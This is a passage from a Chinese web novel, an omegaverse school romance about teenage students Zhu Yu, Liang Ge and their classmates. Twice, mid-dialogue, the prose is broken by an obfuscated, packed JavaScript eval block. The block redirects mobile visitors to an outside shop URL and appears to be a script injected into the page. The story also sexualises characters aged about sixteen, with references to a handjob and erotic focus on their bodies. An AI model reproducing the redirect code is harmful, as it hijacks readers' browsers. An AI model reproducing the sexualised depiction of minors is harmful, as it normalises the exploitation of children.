祝余放学后才建好讨论组,组里拉拉杂杂说了些什么他全没理会,等ppt作业做到一半,他才拿起手机点进梁阁的对话窗口,定神想了一想,发:“对了,你校服还在我这。” 不带暧昧字眼,却也足够使人回想起一些暧昧的热辣记忆,可以。 梁阁很快就回了:“没事,我穿尺码太小,不介意的话你留着吧。” 稍作斟酌,祝余又发:“那我不是白得你一套校服?” 他想,如果梁阁会聊天并且对他也有点旖旎心思的话,大概会回“那你请我喝饮料/吃饭吧?” 梁阁回:“没关系。” 没关系后面会跟什么呢?祝余思忖着。 没关系,就当是我给你谢礼?没关系,你穿更适合? 祝余捧着手机等了两分钟,那边没有消息再过来。 他被晾了。 他又维持着捧手机的姿势等了两分钟,然后长吸一口气,阴着脸将手机扔到了床上。 拄着脸腮平复几秒,他继续做社科的PPT作业,一直等到做完,又去冲了澡,他才重新拿起手机。 十五分钟前,梁阁发消息问他,上周生物的论文作业。 祝余眉梢挑动,放下手机,在房间漫步了十圈,还觉得不够,虽然刚洗过澡,仍然去隔壁打了会儿拳,又出了些汗。 才回到卧室,捡起手机,施施然打字回道:“没看消息,你问到了吗?” 那边回复很快:“还没有,你方便告诉我吗?” 祝余倒也没有立刻告诉他,先是问:“你怎么没在组里问?” 梁阁:“你好像不看组 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084464|195372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 又说:“算我走捷径吧,你是最优秀的。” 不知道是他性格如此,还是因为和祝余不熟,他聊天很中规中矩,也不用表情之类的。 祝余来回将这两句话看了十次有余,脑子里有一群卡通小动物手拉手绕成圈载歌载舞。这代表什么?第一,他在关注他,至少有注意到他没在组里说过话。第二,他又说他优秀,最优秀的。 很难不开心。 祝余在床上滚了一圈,脸颊浮起一层红雾,大口呼吸了几次,打字冷静而详尽地告知了他论文的要求和时限。又蹦下床走到书桌边,很大方地将自己打印装订好的论文封面拍给他——意思是,我已经写完啦。 隔了快一分钟梁阁才回复,却是无关的一句话:“蛋糕看起来很不错。” 祝余点开图,定神细看才发现,图片的左上角把他吃剩的半块栗子蛋糕摄进去了。 这款栗子蛋糕是一家餐厅的招牌,那里的点心非常精贵,现在不是吃栗子的季节,但品尝起来仍然细腻肥润,非常好吃。 祝余思量片刻:“是很不错,Neptune的栗子蛋糕,你有机会可以去试试。” 他不想在社交网络上对梁阁表现得太过热络,尤其还只第一天,但也不算无用功,以后哪天线下见了,可以无意间提起来,到时候一起去的话也合情合理。 梁阁回:“不是太甜的话。” 祝余问:“你不喜欢吃甜食吗?” 可能对话进行顺利,又因为先前过热的情绪还没熄下来,祝余难得有些忘形,决定发个无伤大雅的小梗,对话氛围也轻松些。 祝余:“喜欢的扣1。” 他正想是发“不喜欢的扣眼珠子”还是去网站复制了几个生僻字呢,结果按键出错,直接发了出去:“不喜欢的扣我” 不喜欢的扣我。 失手发出去的那瞬间,祝余全身血液都往脑袋涌,像被人在后脑敲了一闷棍,人虽然还在房间里,灵魂已经下了地狱,他忍住难堪和无措,第一时间撤回。 “……” “打错了。” “我想发‘不喜欢的扣眼珠子’的。” 他自己解释完都觉得苍白无稽,“眼”和“我”怎么看都不可能打错,实在很像某种低劣的欲盖弥彰的撩拨。 梁阁回了一个微笑的颜文字:^ ^ 这什么?笑眯眯什么意思? 算了,赶紧揭过去吧。 “怎么还发颜文字,没表情包吗?送你几个。” 然后一口气发了几十个表情过去,发完一刻不歇地逃遁,“不说了,晚安。” 梁阁过了一分多钟才回复:存下了,晚安^ ^ 又撤回。 这次只回了:晚安。 很孺子可教现学现用地配了张小猫被揉脑袋舒服躺倒的表情。 祝余跟那只小猫同频郁卒地瘫倒在床上。 他又将床头那套校服扯过来蒙在脸上,壁灯的光从衣料的罅隙中透下来,朦朦胧胧的。 他闭上眼睛,刚才尴尬的失误仍然走马灯一样在脑海里来回闪现,他这辈子没做过这种蠢事,怎么会发错?还是这种话。 他要的是隐晦的,暧昧的,润物细无声的撩拨,不是发这种直白又拙劣的擦边废料。 昨天进休息室还能说受到信息素的诱引,可今天呢?这场手误怎么看怎么像欲盖弥彰。 在社交软件上被人叫“宝贝”,在学校里被李沛叫“老婆”,还在休息室里给他打了手//枪,那么轻佻而不在意地说“这很普通”,现在加上社交账号的第一天就给他发一些似是而非的色情暗示。 祝余扯下校服露出眼睛,空洞地望着壁灯,不一会儿又抱着校服侧躺着蜷曲起来:梁阁会不会觉得他是个随便的婊子? 4. 第三章(下) 祝余早上冲完澡下楼,精神并不太好,有些失眠后的委顿和消沉,继母站在楼下笑着问他要不要来一局台球。 他还没应声,他爸已经开口催他们去吃早餐。 难得他们都在家,早餐是按祝余父亲口味做的,继母对吃食不太挑,祝余心不在焉。 饭桌上并不沉默,三人小声说着话,一些工作上的交流,对祝余学业、生活的关怀,以及祝余父亲时不时对社会新闻或生活见遇中男a的辛辣讥讽和鄙夷抨击,并以此告诫祝余离男a远一点。 祝余父亲早年在男a身上吃过大亏,甚至现下吃亏的证据还就坐在餐桌边——就是祝余,至今都对男a持有一种极其偏激的仇视态度,这也是夏霓嘱咐祝余别让他爸知道他“玩弄男a”的原因。 祝余父亲是个男性omega,家境优渥,资本雄厚,是个养在象牙塔里身娇玉贵的白富美。可惜年轻时被爱情迷了心窍,执意要嫁给穷男人,私奔般地逃了家,和那个心比天高的穷a结了婚,生下了祝余。 婚姻生活远不如他想象中的美满幸福,甚至说非常糟糕,alpha自恃抱负却屡屡碰壁,更是在一次次挫败中沾染上赌、酒等恶瘾。祝余父亲虽然因为受到爱情蛊惑短暂地走过弯路,但也能及时清醒脱离烂泥沼泽,而且他学历、能力都出众,就算不靠家里,从祝余记事起,没有过过一天穷日子。 后来他爸与在机关单位身居要职的继母再婚,也重新被家族接纳,走回正途,家庭和睦,家产丰厚。 很多人都以为祝余的傲慢是优裕的家境和幸福的家庭富养而成的,完全不是。 相反地,他的整个童年时期都被笼罩在他婚姻不幸而又是高知医生的omega父亲的阴霾下,他对他严格,苛刻,甚至乎冷漠。 他爸要求极高,他几乎只拿第一,却仍然不断被挑剔,那种挑剔往往伴随着言语打压。 “你太差了,你敢说你用心了?” “你在敷衍谁,你指望这点小聪明用到什么时候?” 他看着祝余立在那,睁着眼一句话也不说,又觉得不讨喜。 “你这个小孩真是一点也不可爱。” 祝余才不相信这些话,他那时候还小小的,每天踩着小凳子刷完牙,就对着镜子一遍又一遍地告诉自己。 “你一点也不差,你非常可爱!” 有时候也拍拍自己的脸颊,“你是很棒的,你可是第一名,他什么都不懂。” …… 这种自我对话式吹捧伴随着他整个童年,直到进入中学,偶然听到班上同学在谈论一个网上广为传播的实验,一个人每天对着镜子说话,半年后疯了。 虽然有发疯的潜在风险,但确实行之有效,祝余到现在都认为自己是人类进化的巅峰,极其自我,他完全不在乎也不相信别人对他的评判。 早餐的饭桌上,祝余没怎么说话,少许吃了点东西,司机就送他去学校。 关于昨晚那个让他失眠的低级乌龙,祝余决定直接冷处理,就是短期内完全不要主动和梁阁有交集,直接当陌生人,不主动聊天,不拉近距离,不视线相交。 不然真的会被轻看,上赶着找操什么的。 就算梁阁真以为他昨晚是故意发错的也没关系,有紧有弛,拉开距离冷一阵子,反而吊人胃口。 接下来的几天,他都只上课下课,梁阁也没有主动找他聊天,维持着一种互不相扰的平静。 但从祝余误入休息室的那天起,梁阁就很少再去休息室,正常地跟着一起上课,可能他们学校确实校风浮夸且热衷娱乐,还不到一周,学校的人已经把他拱上了天。 比之前更加热切地讨论他,争相传递着他的名字和逸闻,一种匪夷所思的热度和人气。 就连林松松都认识他。 祝余正拿着林松松的论文作业翻看,生物老师虽然年轻娴静,但她的论文通过率极低,他仔细翻看了几页,问,“郁仪给你写的吗?” “怎么可能?!是我自己写的,但是他给我改过了,怎么样?” 祝余没什么好再改的,“你都让他给你改过了,又来找我改,信不过他?” 林松松仿佛被冤枉,解释说,“我不是找你改呀,我就是给你看看,郁仪给我改得真好。昨天他给我改论文,我就靠在他腿边吃西瓜,这个季节的西瓜居然也很甜……” 赶紧给我死远点。 林松松浑然不觉地聒噪着,突然瞥到走廊外,立刻灿烂地笑起来,上抬起手打招呼,“梁阁!” 梁阁刚上完课,大概是球类的体育课,和人一起经过走廊,闻声茫然地侧过脸来,头发黑漆漆的还浸着汗,耳侧挂了个银灰色的环形阻断器。他确实天生一副好笑容,不多不少,恰如其分,有点距离感却又极舒服,很容易让人向往。 他回了林松松一个笑,又掠见祝余,也笑着朝他点了点头。 祝余从没见过一个人这么会笑,充满煽惑力,像柔风在湖面上吹起涟漪,一池春水都要乱掉。要是在祝余看的漫画里,此时他的背景一定是盛开的鲜花和气泡。 林松松一路目送他的鲜花和气泡走远了,然后傻逼兮兮地发出感慨,“哇,他真是我们学校的王子!” 祝余闻言翻了一个堪称完美的白眼,即眼球完全翻进眼皮里,只剩下眼白。林松松对此惊羡不已,他盛赞祝余是翻白眼的天才,并表示一定也要学会这门绝技。 祝余懒得理他的蠢话,阴恻恻地,“你不是喜欢郁仪吗?” 又在这说什么王子,不守b德的东西! “我是喜欢郁仪啊。但是他跟郁仪又不一样,他性格好好,又好温柔,然后又很帅,这就是王子了。郁仪脾气超级差,昨天改论文,一直骂我蠢……”他说到这里,舌头忽然像被开水烫了一下,面红耳赤起来,他捧着脸无头苍蝇一样乱瞟,“你说什么?我没有喜欢郁仪!我不是,我真的……就是……我不喜欢,我怎么会喜欢郁仪……” 祝余面无表情地乜着他,眼光冷飕飕的仿佛审判,林松松在他强势的目光下终于无所遁形,败下阵来,“好吧,我是喜欢郁仪。” 他手肘撑在祝余课桌,一张脸忧愁地凑在祝余眼前,两只眼珠乌溜溜的,“其实呢,我准备要跟郁仪告白了。具体流程是前天几个朋友和我一起想的,我准备明天就行动,但我不知道他会不会喜欢我那样告白,也不知道他会不会喜欢我。祝余,我有点害怕……” 他向来生龙活虎,没心没肺地乐天,这厢难得显出些少年花季的愁绪来。 结果祝余无情质疑,“你还有朋友?不会是你妄想的吧?” 林松松气鼓鼓地朝他叫嚣,“不要把我说得这么可悲啦!我当然有朋友啊!而且……你不也是我的朋友吗?” 他暴躁又委屈,怂眉耷眼地瞅着祝余。 祝余心说,我才不需要朋友。 可他托着脸望了林松松一眼,倒也没有出声反驳。 下午回家的路上,祝余神情漠然地坐在后座,思绪却片刻不歇。 他在想林松松。 他想,林松松明天要跟郁仪告白。林松松那种蠢货,要是真有朋友,应该也是差不多水平的白痴,大概率也想不出什么浪漫有趣的告白点子。 祝余很不喜欢郁仪,一是因为他深受他爸影响,仇视世界绝大多数的男a。二是祝余一直被人说“我们学校最漂亮的omega”,之所以后面那个“omega”没法去掉,就是因为郁仪。他虽然对外貌不算太在意,却对与人平起平坐或被人压一头十分不快,他就是喜欢当第一。 男a本来就没几个好东西,学校里几个男a打赌玩弄b或者o感情的无聊恶作剧也不是没有。而且郁仪身上充满了alpha高高在上的劣根性,看起来就是那种会把林松松的愚蠢告白贬到一无是处的屑人。 还有,如果林松松的朋友真是他妄想的怎么办?他根本就没有朋友,被郁仪拒绝了,也没人安慰他,他也没有父母,只能一个人孤零零地蜷在铁架床上哭。 算了,不然我先当一下他的朋友好了。 他于是发消息问林松松,“郁仪现在在哪?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084465|195372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林松松先是疑惑,你问这个干什么?又告诉他,在某个松饼屋。 松饼屋? 郁仪正在松饼屋吃松饼。原本是林松松前几天偶然提起谁谁谁告诉他某家松饼屋的松饼非常松软好吃,言语情态透露出向往。今天郁仪就状似不经意地说,有人送了他那家松饼屋的免费券,如果林松松实在想去的话,他可以勉为其难带林松松去吃。 结果林松松十分不知好歹地说,他不去。郁仪一时气恼,那我找别人了。林松松又极没眼力见地说,哦,你找吧。 于是郁仪真就去找了。 郁仪和梁阁正在松饼屋吃松饼,明显两个alpha对此类烘焙甜品都兴致缺缺,桌上琳琅满目的甜品几乎没动。这几年AA的cp配对十分火热,又由于上头压制反而变得更加如火如荼,两个同样品相优越的alpha出现在这种店里,不免要受到周围各路暧昧的打量和揣测。 郁仪叫住经过的服务生,重新把桌上那些东西点了一份要打包带走,吩咐完就对上梁阁的眼睛,此地无银三百两地解释,“我是自己吃的,味道不错,我喜欢甜食。” 梁阁看着他面前那份被切得稀碎,却只动了一口的松饼,点点头表示相信,不知想到了什么,又笑了笑,“我倒是不怎么喜欢。” 过了一会儿,梁阁忽然问,“你知道祝余吗?” 郁仪嚼蜡般地逼自己咽下一口松饼,“嗯。” 他“嗯”完,梁阁再没下文,碍了两分钟,他自己说了,“我讨厌他。” 梁阁挑起眼看他。 郁仪擦了擦嘴,眉眼间透露出对甜品的嫌恶,“林松松每天就跟条哈巴狗一样围着他团团转,他一副爱答不理的德行,每回见着,我都恨不得把林松松揪出来揍一顿,摇什么尾巴,他搭理你吗?” 梁阁略有笑意,“你是讨厌林松松对他摇尾巴?” 郁仪思索片刻,否定了,“不是。”他冷着脸,“我是讨厌林松松冲他摇尾巴,他还爱答不理的样子。” 当店员在店内问“请问郁仪是哪位客人,店外有人找”时,郁仪还以为是林松松知错来改了。他稍稍调试好神色,压着上翘的唇角,姿态优雅地起身,出了店却看见祝余时,脸上呈现出一种掺杂着失望、冷漠以及莫名的复杂神情。 他想不到祝余会有什么事找他,又因为他几分钟前才说过祝余的不是,而感到有些微妙。 祝余背着书包,校服雪白,姿态从容,跟在学校里遇见时没有任何不同,照旧是那番优越感十足的优等生做派。 两人一番沉默的眼神对峙后,祝余才开始说话。 “你应该已经知道了,林松松那种脑子估计也藏不住事,明天他要约你出去,大概要用某种奇蠢的方式和你表白。我希望你如果喜欢他,就明确地直接地回应他的心意。如果你不喜欢他,也请你尽量委婉,以不伤害他的方式拒绝他。” 祝余停了停,声音沉下去,“如果你只是耍着他玩,把他当个愚蠢的乐子,敢故意说一些话让他难堪……” 他说到这里忽然卸下书包,放置到身前来,拉开拉链,然后……掏出一块砖。 郁仪险些以为他要一板砖拍过来,下意识侧过脸要躲。 但祝余只是将那块砖放置到花坛边缘,接着又从书包里掏出另一块砖,两块一齐码在花坛的水泥圈边缘。在郁仪不解而错愕的目光中,他弯下身一手扶住两块垒起的板砖,另一手做刀刃状利落砍下,板砖应声而裂。 碎砖闷重地滚到地上。 祝余直起身,阴森森地睇着他,“这就是你的脑袋,我会整死你。” 他极有公德地把碎砖一块块捡进书包里,重新背回到背上,又是那个骄矜傲慢的优等生了,他朝郁仪略略一点头,也不看他,“打扰了。” 郁仪看着他转身离去,怔了半晌,才回过神来,他重新回到店里,惶乱中都有些失态,他问梁阁,“你看到了吗?” 梁阁看着他笑。 郁仪怔了怔,也笑起来,“操,我被林松松的靠山恐吓了。” 5. 第四章 祝余学自由搏击六年了,不是分化成omega后为了防身才学的。 他在五年级的某天被他另一位颓废潦倒的alpha父亲强行带走,锁在一个废弃的集装箱里用以要挟他爸给钱,那时候他稚小,瘦弱,完全没有自保能力。 虽然后来被安全解救了出来,但他爸大大受了刺激,而那段时间他爸已经和祝余现在的继母——一个女alpha,警界新起之秀,开始深入交往,不仅重新受到爱情的润泽,而且接受了女友“应该适当给孩子一些武力教育以自卫”的建议。 于是祝余开始学习自由搏击,后来他们再婚,稳定幸福的婚姻生活让他爸日趋温和,祝余也在继母的督促和陪伴下持续练习着自由搏击。 但亚性别的分化确实给他生理和心理上带来了多方面变化和影响,很长一段时间作息紊乱,搏击都懈怠下来,拍完砖上车后祝余明显感觉到右手掌缘红肿发疼,回到家就开始冰敷。 祝余第二天一到学校就风闻了今日郁仪和林松松的重大新闻。 今早进校大道人来人往,林松松通红着脸,下战书一样指着郁仪,“放学别走!我要跟你告白!” 据现场目击者称,当时郁仪十分冷艳高贵,并没有回头,只淡淡回了个“嗯”就走了。 “老婆你都不知道我多苦!早上四点多郁仪就跟我哥打电话,你猜他干什么?他视频问我哥他该穿什么衣服!一早上起码换了三十多套,也就是我哥脾气好……” 李沛正霸着祝余前座的位置喋喋不休地诉着苦,他确实不忿,昨晚好不容易能睡他哥那,舒舒服服正是深度睡眠,听见枕边有窸窣的细微动静。他痛苦地睁开眼,屋里还是暗的,他哥已经坐起了身,察觉到他醒了,笑着用手心盖住他眼睛,“吵到你了?继续睡。”但李沛还是看到了他手里亮起的屏幕,和郁仪问话的声音,“这件呢?” 等他哥出了卧室,他看了眼时间,凌晨四点十二。 折腾这一早上,李沛琢磨得打扮成什么天仙模样呢,到学校一看,嚯,校服! 李沛抱怨完,机灵地瞅了眼祝余的脸色,他原以为祝余一定会冷漠指出并纠正他浑水摸鱼叫的那声“老婆”,但祝余只是淡淡瞥了他一眼,“你最近很忙嘛。” 李沛顿时露出一副讨好的笑模样,甜滋滋地,“冷落你了?”好声好气地向他解释,“没办法嘛,我哥转我们学校来了。对了,你见过我哥了吧?” 祝余侧过脸看着教室窗外白晃的日光和旺盛的绿植,“没印象。” 李沛望着他线条姣好的侧脸,心猿意马,有心想向他介绍一下梁阁,又想祝余肯定不在意,祝余对他都意兴阑珊,哪会有耐心认识他哥。 祝余静了一静,想等他的下文,结果李沛半天没动静,他扭头一看,李沛正两手交叠趴在他课桌上一脸痴相地望着他,眼神木木的,已然入了神。 一时间都不知道该恼还是该笑,祝余呼出一口气,再一次告诉他,“李沛,我不喜欢你。” “嗯,我知道。”李沛姿势都没换,仍然趴伏在桌上一动不动地欣赏着他,还挺高兴,“我就喜欢你谁也看不上的样子!” 李沛确实追他很久了,从进入这所学校开始,追得大张旗鼓,追得人尽皆知,祝余不止一次明确地告诉他,“我不喜欢你,我对你没有感觉。” “那……可以慢慢培养啊,可能处着处着你就爱上我了呢?” “不会。”祝余看着他,眼神清透而无波澜,“我要喜欢人一定第一眼就喜欢。” 这样听起来不切实际、理想主义的爱情宣言居然从祝余口中说出来,着实有些不可思议。 他长着这样一张聪明薄情的漂亮脸蛋,看起来更适合说“爱情是狗屎。” 李沛显然也没当回事,他深信烈o怕缠b,铁杵磨成针的道理,点点头算是听到了。第二天照旧在祝余眼前绕着圈刷存在感,耍宝打诨逗他笑。 祝余很讨厌死缠烂打的追求者,但他不怎么讨厌李沛。 李沛就是个张扬咋呼的小纨绔,beta,被一群alpha发小当作小傻逼呼噜着宠大,作威作福,在学校里也算个小霸王。 当然,读作小霸王,写作小傻逼。 他有种天然的可爱,长得也不差,精致俊俏的少年长相,很阳光爱笑。他的喜欢执着而赤忱,喜欢你就什么都捧给你,被冷落不恼火,被拒绝也不跳脚,除了“叫老婆”这事屡禁不止,其他倒也不招人反感。 李沛在他眼里不过是个小孩儿,他比祝余小了整一岁有余,下个礼拜五才要满十六岁,这一个月他都在央求祝余参加他下周的生日局,“你来吧!什么也不用送,你来我就开心啦,求你了,好不好?好不好?” 还没入夏,太阳已经很不讲究地热起来,没有遮蔽的日光下非常晒人,而运动会偏偏就安排在这周。 李沛正和一群人据着学校冰店躲懒,吃喝玩乐瞎聊胡侃,视线往外一瞟,正好看见祝余从那边苍翠茂盛的树荫走到太阳底下,“嘿!老婆!老婆这!这!” 祝余穿着学校夏季的运动服,alpha们大多嫌弃这套运动服,嫌它短又嫌它紧。但omega穿着又不一样,尤其祝余这种十六七的少年omega,白色棉质的上衣,藏黑色的运动短裤,露出白皙柔长的四肢脖颈,身后别一块号码簿,清清爽爽的,舒展又漂亮。 他循声往这看了一眼,就走了过来,他很少这样给面子,众人一时都有些意外。 祝余从闷热的太阳下走进这间清凉的冰店,冰店空间不大,冷气很足,只开一道窄门,外面亮,里头暗,沙发,茶几,凳子,吧台,还放了个小电视机,一群人窝在这看球赛转播。 懒懒散散地,除了李沛,应该都是alpha,一个omega和这么多alpha在一个空间里,就算戴了抑制环,也必然不会太舒服。 祝余熟知的几个人里,郁仪不在,但沈释在,梁阁也在。 他们坐在里头暗处的沙发上,梁阁端着个游戏机在玩,眼睫垂着很专注的样子,沈释坐在他身边,不时亲密地附过去笑着低声和他说话。 祝余一来,李沛立刻把旁边凳子上的人轰走,殷勤地用纸擦了擦凳面,才笑眉笑眼地招呼祝余坐下,“老婆坐这,坐这!” 祝余坐下来,谁也不看,“乱叫什么?” 李沛一副悉听尊便的知错模样,其实不过是敷衍,安分两秒又热情地问他,“喝点什么?茶还是饮料?这有冰蜜瓜,先吃一块尝尝。” “不喝,我有项目。” 对面有人嬉笑着和他搭话,“小嫂子,你报什么项目啊?” 李沛年纪小,比他们也都要小一岁,叫他嫂子似乎不妥,可加上这个“小”字,就格外有股狎昵的轻薄味道。 祝余没什么表情地掠了对面一眼,李沛倒还挺受用,佯作生气地笑骂,“别乱叫!我这刚被说过,没点眼色!” 其他人也好奇地问他什么项目,声势一大,懒靠在梁阁身上的沈释也饶有兴致地望了过来,嘴里叼了根烟,一星红火忽明忽灭的,烟雾缭绕。 渣滓。 “跳高。”祝余说。 李沛关切地问,“omega跳高没事吧,能跳吗?” 祝余侧过脸看着他,“omega怎么了?” 李沛敏锐地意识到涉及到一些亚性别歧视了,赶忙撇清,“没!没怎么,我不是怕你刚分化身体不舒服嘛。对了老……祝祝,昨晚我给你发消息,你怎么没理我?” “睡了。” 李沛当即响应,“九点就睡了!真是健康作息,我以后也要九点就上床,和老婆一起睡觉觉!” 最后一句带着点不知有意无意的歧义,周围几人都流露出几分心知肚明的揶揄神色,祝余懒得理会这些无聊的低俗把戏,冷冰冰坐在那里。 几人调转话头,问李沛前些天被遣送回家一周去哪玩了。李沛丧气地说,哪也没去,就想赶紧来学校。有人意味深长地瞄祝余一眼说,就这么朝思暮想啊?李沛不知道怎么形容,“也不是……”那人又问,那你想来学校干嘛?李沛也说不清,抓耳挠腮地,引得人发笑。 祝余索然起身,走到吧台,问服务生,“给我一瓶水,冰一点的。” 吧台就在沙发旁边,只隔一棵盆栽,梁阁看着游戏机屏幕的视线往上稍抬半寸,就能瞥见祝余的小腿。学校夏季的运动短裤不到膝盖,膝弯到脚踝一径晃眼的白,又长又直,而且不干柴,雪白匀称微微有点肉感,踝骨玲珑的凸着,没有一个alpha会不想把这样一双腿握在手里,或者盘在腰上。 梁阁分了片刻的神,再低下眼时,手里的游戏机正好发出“游戏失败”的音效。 沈释凑过来,遗憾道,“唷,怎么死了?” 梁阁把游戏机搁在一边,看着嬉闹的李沛一伙,眼睛稍稍弯着,“沛沛虽然笨,但意外地喜欢上学呢。” 他一说话,所有人都望过来,祝余也跟着偏头看过来,他瞳色偏淡,梁阁那天就发现了,浅棕色的,像夕照下的湖泊。 这话谁说李沛都得炸,有脑子的都听得出不是好话。但不知道是他说话太好听,声线音调都低低缓缓的,带一点笑,光听他说话就让人觉得舒服。还是李沛对他实在太过崇拜喜爱,李沛像个忠诚的拥趸般用力地点着头,那么勤勤恳恳,高高兴兴,“是的哥!我就是很爱上学!” 所有人都笑了,祝余都望着室外刺眼的日光浅浅笑了下。 他接过服务生递来的瓶装水,付过钱径自出去了,李沛冲嘲笑他的人叫嚣了一阵,才发现祝余已经走了,失落地说,“怎么就走了?”又振作起来,风风火火起身,“我也去,我要去看我老婆比赛,给他加油!” 可惜一到场地就让监管老师揪住了,勒令他站在规定看台,不准四处乱蹿。为免再次被遣送回家,李沛只好偃旗息鼓地待在监管老师眼皮底下,十分不甘愿。 梁阁洗了把手,掸了掸指尖的清水,从体育场侧径的阴处进去时,祝余正好检录完毕出来,看到他时怔了一霎,居然径直走上前来,问他,“你有项目吗?” 梁阁静了静,笑着说,“没有。” 他又问,“现在有事要做吗?” 梁阁摇头。 祝余利落地将手里的水瓶抛给他,不由分说,“那帮我拿下。” 梁阁下意识接住,抬头时祝余已经扭头走进太阳下,步向碧绿的草场。 水从冰箱里拿出来,触到外头的热气,外壁上凝结了密密一层水珠,梁阁站在原地眺着太阳下的绿茵草坪。 一群人正排着队在过杆,大多都是洋相,看台处爆发出阵阵笑声,直到祝余开始助跑。 他像平时一样那么冷淡地站在助跑点,做了个起势动作——左手搭在右臂肘弯,右手的食指和中指抬了一下,像在估高,随着令下,两条修直漂亮的腿快速而矫捷地交替,杆前蹬地起跳,优美的后仰幅度,轻盈得像被风托举起来,薄薄一片叶子,越过横杆,落进软垫里,下陷时短裤后缩,露出半截光洁的大腿,在阳光下白得吸光。 看台一阵潮水般的叫好,祝余一路这样拿了第一,广播里通报成绩的时候,李沛一把夺过班旗大肆挥舞,“祝余!老婆!冠军!” 他们班的人笑着骂他叛徒。 祝余没有理会,比赛结束后他朝梁阁的方向望了一眼,就走了过来。 在这种高温天气下竞技,祝余出了层汗,乌黑的额发湿成几绺,热得脸颊红扑扑的,没那么孤高不下凡,另一种肆无忌惮的、青春的健康的生命力。祝余走过来看着他,脸上有些意外的神色。 梁阁笑着将手里的瓶装水递还给他,“恭喜。” 祝余接过来,“你真在这等我啊?”他拧着瓶盖说,“我以为你又走掉了。” 梁阁稍有怔愕,“我走掉过吗?” 祝余没有应声,他拧开瓶盖仰起头,并没有对口,两瓣唇分开。梁阁比他高,低下眼能清楚地看见他红嫩干净的口腔,舌头上勾着,瓶口倒出的水像条清澈细小的溪流,在阳光下闪耀着,涓涓淌进祝余口中。一下灌得太多,几线水珠溢到下颌,又顺着他雪白有汗的颈项滑进衣领深处,白色的运动短袖前襟洇湿了一块。 他抬手揩了一下颈间的水迹,溢出的水让他的唇色更红,忽然想起什么,他回过头望着看台下的拐角处,好似不解,“其实那里有一箱水,这也没有人,我为什么要你帮我拿着呢?” 这似乎只是一个后知后觉的恍然大悟。 可祝余垂下眼看着自己慢慢拧上瓶盖的手,轻飘飘地,恍若不经意地说,“可能是我想让你看着我拿第一吧?” 梁阁不动声色地看着他。 祝余说完就走,他拧紧瓶盖退着往后走,经过拐角处时,侧下身从那箱水里抽出一瓶来,又那么行云流水地抛给梁阁。他退出遮蔽的阴处,清透明媚的日光洒下来,祝余整个人都沐在光里,很活泼轻快的样子,“谢谢你的校服,请你喝水。” 这瓶水被晒过,瓶身还有些温热,梁阁握着又站了一会儿,上了看台。 李沛一见他就兴奋地惋叹,“哥!你怎么不在!你没看到刚才祝余,我老婆跳高多厉害!那个身段你不知道……” 梁阁笑着,“真可惜。” 他坐下来,身边的沈释玩着游戏问他,“你去哪了?” “洗手。” “这么久?” 梁阁拧开手里的瓶装水喝了一口,幽黑的眼里有点笑意,“慢慢洗嘛。” 运动会持续几天,到第三天的时候,天气预报失策,下起雨来。四五月天气多变,一会儿燥一会儿寒,淅淅沥沥的凉雨,许多比赛项目不能举行,但学校也没要求正常上课,行动自由。 梁阁在学校礼堂看一场观影讲座,是个沉闷的黑白史诗片,只零零稀稀十来个人,坐得很分散。梁阁稍显松懈坐在座椅上看着屏幕,脸上看不出沉思,也并不专注,似乎只是看着。 开场二十多分钟后,有人施施然在他旁边的位置落座,发出些微小的动静,梁阁没有分神去看是谁,直到那人凑在他耳边问,“放了多久了?” 伏过来的刹那,梁阁闻到一股非常浓郁的清甜气息,他下意识去触耳后的阻隔器,同时警觉地侧过脸去。 祝余对上他眼神,隔得太近,只觉得那双眼里一片漆黑压下来,冷漠而戒备地,仿佛有种重量,在看清祝余脸后迅速平饰过去,祝余再一晃眼,梁阁只是温和地看着他,带着一点点疑惑。 祝余有些得意的样子,会意地张开嘴巴。梁阁看见他半启的唇齿间含着一颗水果硬糖,被卷在舌尖,屏幕的光映出这颗散发出清新甜味的玫瑰色透明糖球,被omega的口水浸润着,泛出剔透涟涟的光泽。 祝余把糖含到一边,腮帮子鼓起来一块,看着他,眼底有点戏谑的神色,“你不会以为是我信息素的味道吧?” 他又凑近,嘴唇和梁阁耳廓只隔毫厘,热息洒在梁阁皮肤,声音压得极低,“你不是闻过吗?” 他说完就退开,安全的社交距离,若无其事地,坐在座椅上开始看电影。 梁阁看了他一会儿,也继续看电影。 不到五分钟,祝余搂着胳膊,像躲在他身后似的挨近了他,却又没有真正碰到,小声地说,“好冷。” 天气并不热,礼堂冷气却开得很足,祝余上身只穿一件学校夏季的短袖衬衫,单薄而清凉。 梁阁稍作思量,取过放在另一侧座位上的校服外套,还没递过去,祝余眼珠已轻轻巧巧从那件外套掠过,又看着他,似乎别有深意,“又借校服给我啊?” 梁阁回望他,笑着说,“你不介意的话。” 伸手接过校服外套,祝余没有穿上,他靠在座椅里像盖被子一样将校服铺在自己上身,连颈部一起裹住,只露一个脑袋。 此后再没有交流,像无意坐在一起的陌生人,祝余裹着校服一动不动地陷在座椅里,梁阁几次都以为他睡着了,可余光瞥过去就能看到他眼睛专注地望着屏幕。 那颗糖仍然在祝余口里含着,凝神去听的话甚至听得到那颗糖在他口腔里如何融化,被丰沛的口水包裹着吸吮,被舌尖灵活地卷着拨动,不时撞到牙齿发出细小的磕碰声。 